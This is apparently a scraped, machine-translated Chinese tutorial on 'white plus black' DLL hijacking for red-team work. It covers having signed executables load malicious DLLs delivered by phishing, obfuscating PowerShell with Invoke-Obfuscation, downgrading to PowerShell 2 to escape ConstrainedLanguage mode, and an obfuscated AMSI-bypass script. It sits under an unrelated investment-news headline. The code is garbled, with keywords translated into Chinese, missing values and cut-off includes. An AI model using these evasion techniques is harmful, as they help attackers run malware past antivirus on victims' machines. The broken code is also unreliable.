投资界新闻 -松禾资本正式推出三支新基金,计划募资总额近30亿元
06-18
0X00 前言 为什么需要白家黑的攻击方法?答:降本增效,我们知道,在未来AI+安全兴起的背景下,社会工程将成为攻防演练项目中成本最低、效率最高的攻击手段。这时,“白加黑”的成本优势就体现得淋漓尽致。
那么什么是白加黑呢?答:百家黑利用DLL劫持在应用程序的导出目录中创建DLL,并通过LoadLibrary函数加载DLL文件(或者找到现有的DLL注入恶意代码)。当目标尝试执行该文件(注意:不是执行恶意DLL文件)时,该白色文件会在应用程序加载时加载恶意DLL。
只要目标加载包含恶意代码的文件,攻击者就可以获得对目标计算机的访问权限。提示:该代码仅供参考,可能不起作用! ! ! 0X01 起源 在攻防演练中,运行恶意代码连接C2是最常见的方法,但由于对抗级别的增加。
以天晴、天晴等为代表的杀毒软件在检测信任链方面已经越来越成熟。这个时候,我们要么花巨资购买“签名”,要么研究使用杀毒软件中的白名单。
这时候有人会问,白名单怎么用呢?答:攻击者利用了 Microsoft Windows 应用程序加载 DLL 文件的方式。这里我们可以了解到,攻击者采用了“白加黑”的攻击方式(即使用白色文件加载恶意动态链接库(DLL))。
当攻击者利用社会工程钓鱼的方式让目标下载恶意文件到目标自己的电脑,然后点击运行白色文件时,该文件就会在运行时执行恶意DLL。我们通过构建“白加黑”可以达到以下目的:运行文件执行敏感命令(例如:执行MS系列POC、将Mimikatz变成shellcode执行...) 运行文件来达到提权的目的(例如:添加net user 创建新用户...)运行文件维护权限(如:添加新注册表)...补充:以天晴为代表的杀毒软件也会标记一些微软签名的Windows工具和.exe文件,如:PuDump、Rundll32、Msbuild……因此,攻击者需要实时更新自己的DLL白名单,否则反病毒效果很可能失效。
运行该文件达到执行敏感命令的目的代码语言:javascript copy/*DLL hijack run编译64位(Linux):i_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c*/#include <窗户。 h>#pragma comment (lib, "user32.lib")BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox( NULL, "hello world!", MB_OK );休息 ;案例 DLLPROCESSDETACH:中断;案例 DLLTHREADATTACH:中断;案例 DLLTHREADDETACH:中断; } return TRUE;}也许最简单的纠正措施包括确保所有软件都安装在受保护的目录 C:\Program Files 或 C:\Program Files (x86) 中。
如果软件无法安装在这些地方,下一个最简单的步骤是确保只有管理用户对安装目录具有“创建”或“写入”权限,以防止攻击者安装恶意 DLL 从而利用漏洞。运行该文件即可达到提权的目的。
代码语言: javascript copy/*DLL 提权编译(Linux) x64 编译: x86_64-w64-mingw32-gcc ill.c -shared -o xxx.dll x86 编译: iw64-mingw32 -gccvil.c -shared - o xxx.dll*/#include
主流的“白加黑”有三种不同的加载方式: 白色执行 黑色DLL 白色执行DLL 加载shellcode 白色加载shellcode 我们知道,程序编译时,可执行文件(PE)的头文件中会添加一个导入表它和导入表的作用是记住需要从哪个DLL导入哪些函数,因此每次白文件执行程序时,链接器知道要做什么并自动加载所有需要的库。这时候我们就可以找到一个合适的DLL(即有写权限的DLL),对其进行修改(即注入恶意代码),形成恶意黑DLL。
但如果没有合适的可修改的黑色DLL,而我们想让白色文件在运行时加载黑色DLL,那么Windows API提供的LoadLibrary()和LoadLibraryEx()函数给我们提供了一个新的思路,那就是通过该函数构造一个黑色DLL,并将该DLL的名称导入到导入表中,以便在运行白色文件时可以执行该DLL。以上两种不同的思路,导致了“白加黑”的两种不同思路,即可以修改原来的DLL,也可以创建黑DLL进行攻击。
这里补充一下,白加载shellcode就是我们所说的无文件登陆防杀!我们先说国内流行的前两种“白加黑”方式,然后再讲下一节关于无文件登陆的事情。白加黑寻找合适的白文件的大致流程(如:)>提示:建议手动搜索,脚本准确的概率不高! ! 2、检查文件夹权限,是否有写权限。
如果是的话,可以考虑直接修改。否则,请考虑通过LoadLibrary函数创建一个新的黑色DLL。
提示:我们知道Windows系统会按照预定的顺序搜索相关库的位置。 。
又因为DLL的执行顺序:应用程序加载的目录===>系统目录C:\Windows\System32===>系统目录C:\Windows\System===>Windows目录C:\ Windows===>当前工作目录===>PATH环境变量定义的目录;所以我们可以按照下图所示的顺序搜索DLL,并通过工具确定合适的DLL。白色执行黑色DLL 对于这种方法,我们根据所选白色文件的DLL的特点进行合理的修改!首先,我们可以使用库引用在白色文件的上下文中执行代码。
如果该文件允许LoadLibrary函数动态解析库的路径,则该文件还将在当前目录中查找库DLL。我们可以将“白加黑”复制到具有写权限的目录中。
如果我们需要创建自定义的黑色DLL,那么白色文件将加载黑色DLL并执行恶意代码。而且,我们要寻找的大部分白色文件都有签名,并且受到防病毒软件的信任,这大大增加了我们攻击成功的机会。
黑色DLL的代码演示(如下图): 代码语言:javascript copy /*DLL执行DLL命令编译64位(Linux):i_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c*/ # include "pch.h" # include
执行此操作时,无需枚举并满足所有所需的导出,即,可能存在 DLL 没有任何导出且只能通过 DllMain 入口点劫持的情况。白色执行DLL加载shellcode。
我们还可以构造一个恶意的黑色DLL,并在其中运行shellcode,以达到命令执行的效果,绕过和天晴的检测。黑色DLL加载shellcode的代码演示(如下图): 代码语言:javascript copy/*DLL 执行DLL命令编译64位(Linux):i_64-w64-mingw32-gcc -shared -o xxx.dll dll xxx.c */#include
不过,我们要注意的是,在启动Powershell时,asmi. exe已被注入到powershell.exe进程中,因此Defender可以通过ASMI功能检测恶意行为。而且由于某些原因,Powershell的无文件杀毒程序在国内并不是很流行,因为天晴一旦发现Powershell正在运行一些敏感函数,就会将其标记为直接拦截,导致执行失败。
不过,它可以绕过 Tinder 等防病毒软件。Powershell Obfuscation Invoke-Obfuscation 是一个兼容 PowerShellv2.0+ 的 PowerShell 命令和脚本混淆器(github 地址:.\Invoke-Obfuscation.psd1 Invoke-Obfuscation 然后指定脚本路径,系统会提示您使用混淆方法菜单,如下所示:set scriptpath xxxx.ps1 此时我们可以选择合适的混淆方式,在Invoke-Obfuscate提示符下运行命令选择该选项:token all5 最后输出混淆后的.ps1脚本代码语言: javascript copy 1out xxx .ps1 我们已经能够成功混淆我们的恶意PowerShell脚本并逃避任何AV检测,或者您可以使用Invoke-Obfuscate对单个PowerShell命令进行混淆或编码。
建议您进行二次开发并删除该命令。加密的特征值,防病毒效果更好。
注意:使用的目标应该能够执行PowerShell脚本,否则我们将无法执行混淆/编码的PowerShell脚本。当然,EDR也是可以绕过的。
为了防止我们被EDR发现,我们需要针对PowerShell。 “降级版本”操作,如果你有能力降级到Powershell 2.0,这可以让你绕过ConstrainedLanguage模式。
虽然效果很好,但是如果 edr 对版本进行了标记,仍然会引发异常。代码语言:javascript 复制 $ExecutionContext. SessionState.LanguageModePowershell$ExecutionContext.SessionState.LanguageModePowershell -version 2 提示:Win10及以上版本可能需要安装Powershell版本2才能利用它! ASMI防病毒处理为了避免Powershell的防病毒,我们有以下几种内存规避的方法。
:专注于内存操作,不将文件写入磁盘。利用各种 Windows API 将有效负载注入进程,然后在内存中的单独线程中执行有效负载。
不过ASMI对于Powershell的反病毒还是有致命的打击,所以我们需要对Powershell的ASMI反病毒进行具体的研究。利用加密方法绕过AMSI的常用方法,例如将Windows Script\Settings\AmsiEnable的值更改为0,利用网站混淆来绕过代码语言: javascript copy #Matt Graebers第二个反射方法 $wfSi=$null;$hlrajhy=" $([char](30)+[cHaR]( [字节]0x79)+[CHAR]([BYtE]0x73)+[ChAR]([BYTe]0x74)+[Char](*20/20)+[字符](*46/46)).$([字符](65)+[字符](97-89)+[字符]([字节]0x6e)+[字符]([字节]0x61)+[字符]([ByTe]0x67)+[ChAR]() +[CHAR]([byTe]0x6d)+[cHaR]([byteE]0x65)+[chAr]([ByTe]0x6e)+[cHar]()) .$(('ut?mát'+'íón').NORMAlizE([charR](33)+[cHAR]()+[ChAR]([BYTE]0x72)+[CHAR](28)+[CHAR](68 )) - 替换 [charR](92-71)+ [cHar]([BYTe]0x70)+[ChAr]([Byte]0x7b)+[ChaR]([BYtE]0x4d)+[chaR]([BYtE] 0x6e)+[ChaR](53)).$( ('ms'+'íUt'+'íls').NORMaLIze([cHAr](70)+[cHAR]([BYTE]0x6f)+[cHAr]( 24)+[char](22)+[cHar] (68-36)) - 替换 [cHAR]([bYTe]0x5c)+[Char](50)+[chAr]([bYtE]0x7b)+[CHAR ](77)+[char]([byTE]0x6e)+[char]([BYTe]0x7d))";$xrgohuphpvm="+('n'+'u'+'?').NormALize([CHaR](70-47)+[ChaR]()+[cHaR]([BYtE]0x72)+[ cCHAR]([ByTe]0x6d)+[CHAR](68*53/53)) - 替换 [CHAR]([BYTE]0x5c)+[chAr]([bYte]0x70)+[ChAr]([BYTe]0x7b )+[chaR](77)+[cHaR](87)+[char](*25/25)";[Threading.Thread]::Sleep();[Runtime.InteropServices.Marshal]::("$ ([cHAR]([ByTe]0x57)+[char]()+[Char]([字节]0x69)+[ChAR]()+[chAR]([字节]0x65)+[ChAR](73-49 )+[chAr](78)+[chAR]([BYte]0x74)+[CHAR]([BYTE]0x33)+[cHAR](50*13/13))")([Ref].Assembly.GetType ($hlrajhy).GetField("$(('àmsìC'+'?ntex'+'t').norMAlizE([CHAR]([BYte]0x46)+[ChAr]([BYtE]0x6f)+[Char]( 75)+[CHAR]([ByTE]0x6d)+[CHaR]([byTE]0x44)) - 替换 [CHAR]([BYtE]0x5c)+[cHar](67)+[CHaR](7)+[ Char]([BYTE]0x4d)+[ChAR]([byTe]0x6e)+[ChAR]([bYtE]0x7d))",[Reflection.BindingFlags]"非公共,静态").GetValue($wfSi),0xf72c );网站链接:-x-d:强制,扫描加载的模块-o:指定输出文件。
版权声明:本文内容由互联网用户自发贡献,本站不拥有所有权,不承担相关法律责任。如果发现本站有涉嫌抄袭的内容,欢迎发送邮件 举报,并提供相关证据,一经查实,本站将立刻删除涉嫌侵权内容。
标签:
相关文章
06-18
06-21
06-17
06-17
06-21
06-17
最新文章
【玩转GPU】ControlNet初学者生存指南
【实战】获取小程序中用户的城市信息(附源码)
包雪雪简单介绍Vue.js:开学
Go进阶:使用Gin框架简单实现服务端渲染
线程池介绍及实际案例分享
JMeter 注释 18 - JMeter 常用配置组件介绍
基于Sentry的大数据权限解决方案
【云+社区年度征文集】GPE监控介绍及使用